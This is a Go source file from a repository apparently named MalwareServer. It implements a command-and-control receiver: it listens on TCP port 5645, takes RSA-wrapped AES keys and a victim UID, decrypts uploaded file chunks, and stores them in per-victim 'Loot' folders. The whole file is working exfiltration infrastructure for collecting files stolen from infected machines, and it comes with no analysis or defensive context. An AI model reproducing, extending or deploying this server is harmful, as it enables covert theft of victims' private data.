MalwareServer/rsaserver.go

308 lines
7.4 KiB
Go
Raw Permalink Normal View History

2024-04-30 21:48:00 +02:00
package main
import (
"bufio"
"crypto/aes"
"crypto/cipher"
"encoding/base64"
"strings"
"fmt"
"crypto/rsa"
"crypto/x509"
"encoding/pem"
"io/ioutil"
"log"
"net"
"github.com/liamg/magic"
2024-05-01 22:41:47 +02:00
"os"
"time"
2024-05-02 12:31:57 +02:00
"math/rand"
2024-04-30 21:48:00 +02:00
)
2024-05-01 23:17:22 +02:00
var jpegExif = []byte{0xff, 0xd8, 0xff, 0xe1}
2024-04-30 21:48:00 +02:00
func main() {
host := "0.0.0.0"
2024-05-02 00:06:28 +02:00
port := 5645
2024-04-30 21:48:00 +02:00
privateKeyPath := "private_key.pem"
// Load the private key from the PEM file
privateKey, err := loadPrivateKeyFromPEM(privateKeyPath)
if err != nil {
fmt.Println("Error loading private key:", err)
return
}
listener, err := net.Listen("tcp", fmt.Sprintf("%s:%d", host, port))
if err != nil {
log.Fatalf("Error listening: %v", err)
}
defer listener.Close()
fmt.Printf("Server listening on %s:%d\n", host, port)
for {
conn, err := listener.Accept()
if err != nil {
log.Printf("Error accepting connection: %v", err)
continue
}
go handleConnection(conn, privateKey)
}
}
func handleConnection(conn net.Conn, privateKey *rsa.PrivateKey) {
2024-05-02 12:31:57 +02:00
defer func() {
if r := recover(); r != nil {
log.Printf("Recovered from panic: %v", r)
}
}()
2024-04-30 21:48:00 +02:00
defer conn.Close()
fmt.Println("Got conn")
2024-05-02 16:00:39 +02:00
// Receive key, IV, and UID
2024-04-30 21:48:00 +02:00
keyData, err := bufio.NewReader(conn).ReadString('\n')
if err != nil {
log.Printf("Error reading key: %v", err)
return
}
2024-05-02 16:00:39 +02:00
key, err := decryptKeyIV(strings.TrimSpace(keyData), privateKey)
if err != nil {
log.Printf("Error decrypting key: %v", err)
return
}
2024-05-04 01:02:40 +02:00
conn.Write([]byte("OK\n"))
2024-04-30 21:48:00 +02:00
2024-05-02 16:00:39 +02:00
ivData, err := bufio.NewReader(conn).ReadString('\n')
if err != nil {
log.Printf("Error reading IV: %v", err)
return
}
iv, err := decryptKeyIV(strings.TrimSpace(ivData), privateKey)
if err != nil {
log.Printf("Error decrypting IV: %v", err)
return
}
2024-05-04 01:02:40 +02:00
conn.Write([]byte("OK\n"))
2024-04-30 21:48:00 +02:00
2024-05-02 16:00:39 +02:00
uidData, err := bufio.NewReader(conn).ReadString('\n')
if err != nil {
log.Printf("Error reading UID: %v", err)
return
}
uid, err := decryptKeyIV(strings.TrimSpace(uidData), privateKey)
if err != nil {
log.Printf("Error decrypting UID: %v", err)
return
}
2024-05-04 01:02:40 +02:00
conn.Write([]byte("OK\n"))
2024-05-02 14:40:37 +02:00
fmt.Println("Exchange, OK!")
2024-04-30 21:48:00 +02:00
for {
var chunks []string
2024-05-02 16:00:39 +02:00
for {
chunk, err := bufio.NewReader(conn).ReadString('\n')
if err != nil {
log.Printf("Error reading chunk: %v", err)
return
}
if strings.TrimSpace(chunk) == "END_OF_DATA" {
fmt.Printf("Received file\n")
break
}
chunks = append(chunks, chunk)
2024-05-02 16:00:39 +02:00
2024-05-04 01:30:04 +02:00
conn.Write([]byte("C\n"))
2024-05-02 16:00:39 +02:00
}
go decryptAndHandle(chunks, key, iv, uid)
2024-05-02 17:09:47 +02:00
2024-05-04 01:30:04 +02:00
conn.Write([]byte("D\n"))
2024-05-02 16:00:39 +02:00
2024-05-02 17:09:47 +02:00
2024-05-02 16:00:39 +02:00
moreFiles, err := bufio.NewReader(conn).ReadString('\n')
2024-04-30 21:48:00 +02:00
if err != nil {
2024-05-02 16:00:39 +02:00
log.Printf("Error reading more files signal: %v", err)
2024-04-30 21:48:00 +02:00
return
}
2024-05-02 16:00:39 +02:00
if strings.TrimSpace(moreFiles) == "END_OF_COMMUNICATION" {
2024-04-30 21:48:00 +02:00
fmt.Println("Client ended communication")
break
}
}
}
func decryptAndHandle(chunks []string, key []byte, iv []byte, uid []byte){
var plaintext []byte
for _, chunk := range chunks{
ciphertext, err := base64.StdEncoding.DecodeString(strings.TrimSpace(chunk))
if err != nil {
log.Printf("Error decoding chunk: %v", err)
return
}
plaintextChunk, err := decrypt(ciphertext, key, iv)
if err != nil {
log.Printf("Error decrypting chunk: %v", err)
return
}
plaintext = append(plaintext, plaintextChunk...)
}
handleDecrypted(plaintext, uid)
}
2024-04-30 21:48:00 +02:00
func decrypt(cipherText []byte, key []byte, iv []byte) ([]byte, error) {
block, err := aes.NewCipher(key)
if err != nil {
return nil, err
}
if len(cipherText) < aes.BlockSize {
return nil, fmt.Errorf("ciphertext too short")
}
mode := cipher.NewCBCDecrypter(block, iv)
mode.CryptBlocks(cipherText, cipherText)
cipherText = PKCS5Unpadding(cipherText)
return cipherText, nil
}
func PKCS5Unpadding(data []byte) []byte {
length := len(data)
unpadding := int(data[length-1])
return data[:(length - unpadding)]
}
func decryptRSA(encryptedData []byte, privateKey *rsa.PrivateKey) ([]byte, error) {
decryptedData, err := rsa.DecryptPKCS1v15(nil, privateKey, encryptedData)
if err != nil {
return nil, err
}
return decryptedData, nil
}
func loadPrivateKeyFromPEM(filePath string) (*rsa.PrivateKey, error) {
// Read the PEM file
pemData, err := ioutil.ReadFile(filePath)
if err != nil {
return nil, err
}
// Decode PEM data
block, _ := pem.Decode(pemData)
if block == nil {
return nil, fmt.Errorf("failed to decode PEM data")
}
// Parse the key
privateKey, err := x509.ParsePKCS8PrivateKey(block.Bytes)
if err != nil {
return nil, err
}
// Assert that the key is an RSA private key
rsaPrivateKey, ok := privateKey.(*rsa.PrivateKey)
if !ok {
return nil, fmt.Errorf("not an RSA private key")
}
return rsaPrivateKey, nil
}
func decryptKeyIV(ed string, privateKey *rsa.PrivateKey) ([]byte, error) {
encryptedData, err := base64.StdEncoding.DecodeString(ed)
if err != nil {
return nil, err
}
decryptedMessage, err := decryptRSA(encryptedData, privateKey)
if err != nil {
fmt.Println("Error decrypting message:", err)
return nil, err
}
decodedKey, _ := base64.StdEncoding.DecodeString(strings.TrimSpace(string(decryptedMessage)))
return decodedKey, err
}
func handleDecrypted(decryptedDataB []byte, uidB []byte) {
data, _ := base64.StdEncoding.DecodeString(strings.TrimSpace(string(decryptedDataB)))
2024-05-02 12:31:57 +02:00
// Determine file type
fileType, err := magic.Lookup(data)
if err != nil {
if err == magic.ErrUnknown {
fmt.Println("File type is unknown")
} else {
panic(err)
}
}
2024-05-02 12:31:57 +02:00
var fileTDef string
if fileType != nil {
fileTDef = fileType.Extension
} else {
2024-05-02 12:31:57 +02:00
if string(data[:4]) == string(jpegExif) {
fileTDef = "jpeg"
} else {
fileTDef = "unknown"
}
}
2024-05-02 12:31:57 +02:00
uid := strings.TrimSpace(string(uidB))
folderPath := fmt.Sprintf("Loot/%s", uid)
err = createFolderIfNotExists(folderPath)
if err != nil {
panic(err)
}
2024-05-01 22:41:47 +02:00
timestamp := time.Now().Unix()
2024-05-02 12:31:57 +02:00
nonce := generateNonce(8)
filename := fmt.Sprintf("%d_%s.%s", timestamp, nonce, fileTDef)
filePath := fmt.Sprintf("%s/%s", folderPath, filename)
fmt.Println(filePath)
err = saveFile(filePath, data)
if err != nil {
panic(err)
}
2024-05-01 22:41:47 +02:00
fmt.Printf("Got a %s from %s, saving to %s\n", fileTDef, uid, filePath)
2024-05-01 22:41:47 +02:00
}
2024-05-02 12:31:57 +02:00
func generateNonce(length int) string {
const charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
var nonce strings.Builder
for i := 0; i < length; i++ {
nonce.WriteByte(charset[rand.Intn(len(charset))])
}
return nonce.String()
}
2024-05-01 22:41:47 +02:00
func createFolderIfNotExists(folderPath string) error {
_, err := os.Stat(folderPath)
if os.IsNotExist(err) {
err := os.MkdirAll(folderPath, 0755)
if err != nil {
return err
}
}
return nil
}
func saveFile(filePath string, data []byte) error {
err := ioutil.WriteFile(filePath, data, 0644)
if err != nil {
return err
}
return nil
}